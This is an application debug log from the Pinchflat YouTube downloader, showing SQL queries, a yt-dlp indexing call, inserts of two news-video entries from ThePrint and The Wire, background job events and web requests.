~U[2026-01-08 10:22:42Z]] 15:37:40.336 [debug] QUERY OK source="sources" db=0.9ms queue=0.3ms idle=443.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 15:37:40.338 [debug] QUERY OK source="media_profiles" db=2.0ms queue=0.1ms idle=445.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:37:40.364 [debug] QUERY OK source="media_items" db=23.7ms queue=0.2ms idle=357.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [24] 15:37:40.367 [debug] Current batch of media processed. Will check again in 1000ms 15:37:41.368 [debug] Current batch of media processed. Will check again in 1000ms 15:37:42.369 [debug] Current batch of media processed. Will check again in 1000ms 15:37:43.012 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/playlist?list=PLrRjLdo_f3RuXWrY_jpzwW7v8Afo2pQ3C --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/music/%(artist,creator,uploader,uploader_id)S/%(title)S.%(ext)S --extract-audio --format-sort +acodec:mp3 --audio-format mp3 --format bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/77/47/7747a646c42aebd92d343ecb293a04fd92ffcd38c6feb45899e04a12fca6ca39.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 15:37:43.044 [debug] Gracefully stopping file follower 15:37:43.045 [debug] QUERY OK source="sources" db=0.7ms idle=1153.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 15:37:43.047 [debug] QUERY OK source="sources" db=0.8ms queue=0.6ms idle=1155.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 15:37:43.048 [debug] QUERY OK source="media_items" db=1.4ms idle=1156.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-08 10:22:42Z], 1] 15:37:43.235 [debug] QUERY OK source="media_items" db=185.5ms idle=1059.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["#ThePrintUninterrupted\nWhy are journalists being targetted in Pakistan? Prominent journalist Moeed Pirzada speaks to ThePrint on why seven journalists were sentenced to life in a 2023 case in the country and what it means for press freedom in Pakistan\n---------------------------------------------------------------------------------------------\nExclusive content, special privileges & more – Subscribe to ThePrint for Special benefits: https://theprint.in/subscribe/\n---------------------------------------------------------------------------------------------\nConnect with ThePrint\n» Subscribe to ThePrint: https://theprint.in/subscribe/\n» Subscribe to our YouTube Channel: https://bit.ly/3nCMpht\n» Like us on Facebook: https://www.facebook.com/theprintindia\n» Tweet us on Twitter: https://twitter.com/theprintindia\n» Follow us on Instagram: https://www.instagram.com/theprintindia\n» Find us on LinkedIn : https://www.linkedin.com/company/theprint\n» Subscribe to ThePrint on Telegram: https://t.me/ThePrintIndia\n» Find us on Spotify: https://spoti.fi/2NMVlnB\n» Find us on Apple Podcasts: https://apple.co/3pEOta8", "'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'", "af0a231c-f143-45a9-8257-5cb8b5abe5b2", 1440, false, "lKELVRDjIBc", "https://www.youtube.com/watch?v=lKELVRDjIBc", 1, "/downloads/music/ThePrint/'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'.m4a", false, false, false, 1, [], 1, ~U[2026-01-08 10:22:42Z], ~U[2026-01-10 15:37:43Z], ~U[2026-01-10 15:37:43Z], "#ThePrintUninterrupted\nWhy are journalists being targetted in Pakistan? Prominent journalist Moeed Pirzada speaks to ThePrint on why seven journalists were sentenced to life in a 2023 case in the country and what it means for press freedom in Pakistan\n---------------------------------------------------------------------------------------------\nExclusive content, special privileges & more – Subscribe to ThePrint for Special benefits: https://theprint.in/subscribe/\n---------------------------------------------------------------------------------------------\nConnect with ThePrint\n» Subscribe to ThePrint: https://theprint.in/subscribe/\n» Subscribe to our YouTube Channel: https://bit.ly/3nCMpht\n» Like us on Facebook: https://www.facebook.com/theprintindia\n» Tweet us on Twitter: https://twitter.com/theprintindia\n» Follow us on Instagram: https://www.instagram.com/theprintindia\n» Find us on LinkedIn : https://www.linkedin.com/company/theprint\n» Subscribe to ThePrint on Telegram: https://t.me/ThePrintIndia\n» Find us on Spotify: https://spoti.fi/2NMVlnB\n» Find us on Apple Podcasts: https://apple.co/3pEOta8", "'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'", 1440, false, "lKELVRDjIBc", "https://www.youtube.com/watch?v=lKELVRDjIBc", "/downloads/music/ThePrint/'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'.m4a", false, 1, ~U[2026-01-08 10:22:42Z]] 15:37:43.236 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=243.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 15:37:43.238 [debug] QUERY OK source="media_items" db=0.6ms queue=0.6ms idle=191.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-09 07:36:51Z], 1] 15:37:43.291 [debug] QUERY OK source="media_items" db=51.4ms idle=191.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["India must moderate the anti-Bangladeshi fury fueled by the media: Jawhar Sircar, former Trinamool Congress Rajya Sabha MP & former Prasar Bharati CEO, to Karan Thapar for The Wire.\n\n..........................................\n\n\nIn an interview where he seeks to explain the many reasons why Bangladeshis have reservations about India as well as the historical character of Hindu-Muslim relations within Bangladesh, the former CEO of Prasar Bharati and former Trinamool Congress Rajya Sabha MP, Jawhar Sircar, has called for India to moderate the anti-Bangladeshi fury sweeping through the country and to “refrain from reacting to every provocation” from Bangladesh.\n\n \n\nMr. Sircar argues that the anti-Bangladeshi fury in India is playing into the hands of extremists and fundamentalists in Bangladesh. In this context, he points out that the decision to force Kolkata Knight Riders to drop Mustafizur Rahman was completely mistaken and wrong. It overlooked the fact that Mustafizur Rahman is an icon and hero for Bangladeshis and in no way responsible for the mistreatment of Hindus in that country. Now, he says, this will encourage ordinary Bangladeshis to turn against India.\n\n \n\nIn the interview, Mr. Sircar explains both Hindu-Muslim relations in Bangladesh as well as Bangladesh’s relationship with India, starting with the way Bengali Hindu Bhadralok dominated Bangladeshi Muslims during two centuries of British rule because of the disproportionate advantage they got from the exploitative zamindari system and from the monopolization of government jobs.\n\n \n\nHe then talks about mistakes India has made in supporting Mujibur Rahman, Sheikh Hasina and, in particular, turning a blind eye to her excesses and growing unpopularity. As he points out, when Sheikh Hasina fell from power “rage against her excesses spilled over as vitriol against India for propping her up.”\n\n \n\nMr. Sircar offers a detailed understanding of the historical evolution of India-Bangladesh relations which explains the present situation between the two countries and how it has emerged. Then, against this background, he talks about the forthcoming Bangladesh elections and why he believes the victory of Tarique Rahman and his Bangladesh Nationalist Party, despite its historical adverse attitude to India, would be the best outcome for New Delhi.\n\n\n\nJoin The Wire's Youtube Membership and get exclusive content, member-only emojis, live interaction with The Wire's founders, editors and reporters and much more. Memberships to The Wire Crew start at Rs 89/month. https://www.youtube.com/channel/UChWtJey46brNr7qHQpN6KLQ/join", "India Must Moderate the Anti-Bangladeshi Fury Fueled by the Media: Jawhar Sircar", "c57331a8-f508-4d51-995c-0d9b24b71097", 2570, false, "NDVG7q8x7Ms", "https://www.youtube.com/watch?v=NDVG7q8x7Ms", 2, "/downloads/music/The Wire/India Must Moderate the Anti-Bangladeshi Fury Fueled by the Media: Jawhar Sircar.m4a", false, false, false, 1, [], 1, ~U[2026-01-09 07:36:51Z], ~U[2026-01-10 15:37:43Z], ~U[2026-01-10 15:37:43Z], "India must moderate the anti-Bangladeshi fury fueled by the media: Jawhar Sircar, former Trinamool Congress Rajya Sabha MP & former Prasar Bharati CEO, to Karan Thapar for The Wire.\n\n..........................................\n\n\nIn an interview where he seeks to explain the many reasons why Bangladeshis have reservations about India as well as the historical character of Hindu-Muslim relations within Bangladesh, the former CEO of Prasar Bharati and former Trinamool Congress Rajya Sabha MP, Jawhar Sircar, has called for India to moderate the anti-Bangladeshi fury sweeping through the country and to “refrain from reacting to every provocation” from Bangladesh.\n\n \n\nMr. Sircar argues that the anti-Bangladeshi fury in India is playing into the hands of extremists and fundamentalists in Bangladesh. In this context, he points out that the decision to force Kolkata Knight Riders to drop Mustafizur Rahman was completely mistaken and wrong. It overlooked the fact that Mustafizur Rahman is an icon and hero for Bangladeshis and in no way responsible for the mistreatment of Hindus in that country. Now, he says, this will encourage ordinary Bangladeshis to turn against India.\n\n \n\nIn the interview, Mr. Sircar explains both Hindu-Muslim relations in Bangladesh as well as Bangladesh’s relationship with India, starting with the way Bengali Hindu Bhadralok dominated Bangladeshi Muslims during two centuries of British rule because of the disproportionate advantage they got from the exploitative zamindari system and from the monopolization of government jobs.\n\n \n\nHe then talks about mistakes India has made in supporting Mujibur Rahman, Sheikh Hasina and, in particular, turning a blind eye to her excesses and growing unpopularity. As he points out, when Sheikh Hasina fell from power “rage against her excesses spilled over as vitriol against India for propping her up.”\n\n \n\nMr. Sircar offers a detailed understanding of the historical evolution of India-Bangladesh relations which explains the present situation between the two countries and how it has emerged. Then, against this background, he talks about the forthcoming Bangladesh elections and why he believes the victory of Tarique Rahman and his Bangladesh Nationalist Party, despite its historical adverse attitude to India, would be the best outcome for New Delhi.\n\n\n\nJoin The Wire's Youtube Membership and get exclusive content, member-only emojis, live interaction with The Wire's founders, editors and reporters and much more. Memberships to The Wire Crew start at Rs 89/month. https://www.youtube.com/channel/UChWtJey46brNr7qHQpN6KLQ/join", "India Must Moderate the Anti-Bangladeshi Fury Fueled by the Media: Jawhar Sircar", 2570, false, "NDVG7q8x7Ms", "https://www.youtube.com/watch?v=NDVG7q8x7Ms", "/downloads/music/The Wire/India Must Moderate the Anti-Bangladeshi Fury Fueled by the Media: Jawhar Sircar.m4a", false, 1, ~U[2026-01-09 07:36:51Z]] 15:37:43.314 [debug] QUERY OK source="sources" db=2.4ms queue=0.2ms idle=263.3ms UPDATE "sources" SET "last_indexed_at" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-01-10 15:37:43Z], ~U[2026-01-10 15:37:43Z], 1] 15:37:43.382 [debug] QUERY OK source="media_items" db=50.3ms queue=0.2ms idle=97.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 15:37:43.384 [debug] QUERY OK source="media_items" db=1.2ms idle=146.6ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 15:37:43.385 [debug] QUERY OK source="media_items" db=0.4ms queue=0.1ms idle=146.6ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 15:37:43.459 [debug] QUERY OK source="tasks" db=5.6ms queue=0.1ms idle=70.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [86, 1, ~U[2026-01-10 15:37:43Z], ~U[2026-01-10 15:37:43Z]] 15:37:43.468 [info] {"args":{"id":1},"id":85,"meta":{},"state":"success","max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","duration":15406749,"event":"job:stop","queue_time":806655,"attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 15:37:56.388 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 15:37:58.030 [info] {"source":"oban","duration":79118,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:38:00.207 [info] {"source":"oban","duration":664,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:38:28.032 [info] {"source":"oban","duration":1667,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:38:58.036 [info] {"source":"oban","duration":2057,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:39:00.209 [info] {"source":"oban","duration":538,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:39:28.039 [info] {"source":"oban","duration":1866,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:39:58.041 [info] {"source":"oban","duration":1703,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:40:00.211 [info] {"source":"oban","duration":558,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:40:28.044 [info] {"source":"oban","duration":1424,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:40:37.817 [info] GET / 15:40:37.817 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 15:40:37.819 [debug] QUERY OK source="settings" db=0.8ms idle=1902.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:37.829 [debug] QUERY OK source="media_profiles" db=9.3ms queue=0.1ms idle=1904.9ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 15:40:37.832 [debug] QUERY OK source="sources" db=2.6ms queue=0.1ms idle=1914.8ms SELECT count(s0."id") FROM "sources" AS s0 [] 15:40:37.856 [debug] QUERY OK source="media_items" db=22.6ms queue=0.1ms idle=1405.0ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 15:40:37.858 [debug] QUERY OK source="media_items" db=1.1ms queue=0.2ms idle=425.6ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 15:40:37.860 [debug] QUERY OK source="settings" db=1.3ms queue=0.1ms idle=39.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:37.861 [debug] QUERY OK source="settings" db=0.8ms queue=0.1ms idle=30.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:37.863 [debug] QUERY OK source="settings" db=1.4ms queue=0.1ms idle=29.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:37.914 [debug] QUERY OK source="tasks" db=0.9ms queue=0.1ms idle=57.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 15:40:37.989 [debug] QUERY OK source="media_items" db=0.8ms queue=0.1ms idle=130.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 15:40:37.991 [debug] QUERY OK source="media_items" db=1.1ms queue=0.1ms idle=129.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 15:40:37.994 [debug] QUERY OK source="sources" db=1.2ms queue=0.1ms idle=131.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 15:40:37.999 [debug] QUERY OK source="media_items" db=0.8ms queue=0.1ms idle=132.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 15:40:38.025 [debug] QUERY OK source="media_items" db=25.7ms queue=0.2ms idle=85.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 15:40:38.030 [info] Sent 200 in 212ms 15:40:58.046 [info] {"source":"oban","duration":1401,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:41:00.213 [info] {"source":"oban","duration":352,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:41:28.048 [info] {"source":"oban","duration":1671,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:41:56.134 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 15:41:56.135 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 15:41:56.136 [debug] QUERY OK source="sources" db=0.7ms idle=508.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 15:41:56.138 [debug] QUERY OK source="media_items" db=1.0ms 